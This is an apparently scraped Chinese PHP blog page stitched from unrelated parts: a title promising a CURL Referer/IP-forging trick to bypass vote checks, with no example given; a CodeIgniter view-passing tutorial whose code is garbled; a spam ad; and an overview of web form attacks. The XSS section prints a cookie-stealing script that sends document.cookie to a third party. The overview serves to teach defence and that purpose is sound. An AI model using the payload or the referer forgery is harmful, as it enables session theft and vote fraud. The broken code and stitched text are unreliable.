使用CURL伪造来源网址与IP
很多投票都有对来路的网址和IP进行验证，但是使用CURL可以伪造成任意的网址与IP，以绕过一些简单的验证，下面举一个简单的例子。程序运行之前，请确保 php.ini 中 extension=php_curl.dll
视图是用户用户能看到你的网站的所有。 他们使用一个统一的接口, 而且可以根据需要进行修改。 MVC 的好处之一是你分开了表示层和逻辑层, 一切都显得很干净。视图实际上是一组包含有你的内容的HTML结构。结构中有各种元素，如颜色，字体，文字布局等; 不过视图不关心这些，它要做的只是取来内容，显示出来。
一般我们在控制器中这样定义：
function index() {
$data['mytitle'] = "A website monitoring tool";
$data['mytext'] = "This website helps you to keep track of the other websites you control.";
$this-load-view('basic_view',$data);
}
我们把$data数组作为$this-load-view()的第二个叁数，在视图名称之后。视图接收到$data数组后，使用PHP函数extract()把数组中的每个元素转换成内存变量，数组的键名即为变量名，值为变量内所包含的值。这些变量的值能直接被视图引用：
虽然你只能传送一个变量到视图, 但是通过建立数组，你能把大量变量整洁地传入视图。它似乎复杂, 但是实际上是一种紧凑和优秀的信息传输方式。
如果传递过来的数组是包含多个数据，那么就需要遍历，操作一般如下。先是控制器：
$data["notice"] =array('aaa','bbb');
$this-load-view('api/notice',$data);
视图中解析：
if(count($notice)0){
foreach($notice as $key =$value ){
?
}
?
再说下二维数组的传递与遍历问题。下面的程序实现遍历某个目录下的文件。
class Data extends CI_Controller {
public function index()
{
$this-load-helper('url');
$data['page_title'] = '简明现代魔法';
$data['pre_url'] = 'application/views/default/';
$this-load-view('default/header', $data);
$this-load-view('default/index', $data);
$this-load-view('default/footer');
//$this-load-view('index');
}
public function gdnews()
{
$this-load-helper('url');
$arr = array();
function tree($directory)
{
$mydir = dir($directory);
while($file = $mydir-read())
{
// 是目录的话
if((is_dir("$directory/$file")) AND ($file!=".") AND ($file!=".."))
{
//echo "
$file
\n";
//tree("$directory/$file");
}
// 不是目录
else
{
$arr['name'][] = @iconv('GB2312','UTF-8',$file);
$arr['time'][] = @iconv('GB2312','UTF-8',date('Y-m-d H:i:s', filemtime($file)));
}
}
$mydir-close();
return $arr;
}
$dir = "datas/gdnews/";
$arr = tree($dir);
$data['files'] = $arr;
$data['page_title'] = '简明现代魔法' ;
$data['dir'] = $dir;
$this-load-view('default/header', $data);
$this-load-view('default/data', $data);
$this-load-view('default/footer');
}
}
?
在视图中这么输出就可以：
if(count($files)0)
{
foreach($files['name'] as $key =$value ){
?
}
}
?
你是否有这样的烦恼，想学习高级技术，缺乏好的高级学习资料，收集了部分12年网站架构师授课的TP5、laravel、swoole、swoft、高并发、分布式等资料，现在免费分享给大家，官方群：820469789，大牛带你装逼带你飞
PHP使用curl抓取页面提示禁止访问!
由于你所要curl的网站禁止非浏览器访问获取信息,你可以查看用浏览器正常访问的header头信息完全伪装即可
什么是url攻击，浏览网页时杀软提示拦截url攻击，url攻击是什么样的，被
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤，Web安全习惯上将所有用户输入的数据假定为受污染的数据（即可能带有攻击性的数据），现在比较流行的XSS（跨站脚本攻击）就是利用对用户输入过滤不完全而进行的攻击，因为用户数据过滤不完全会导致很多很多问题，我这里只是简单的介绍几种比较常见的表单及URL攻击方式，希望读者能够最大限度的注意过滤用户输入。
1)表单数据泄漏攻击
这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:)
2)语义URL攻击
这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：;email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据
3）文件上传攻击
文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。
4）跨站脚本攻击
跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。
所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。
比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入script document.location = ’’ + document.cookie/script，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。
5）HTTP请求欺骗攻击
所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。
毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已
0条大神的评论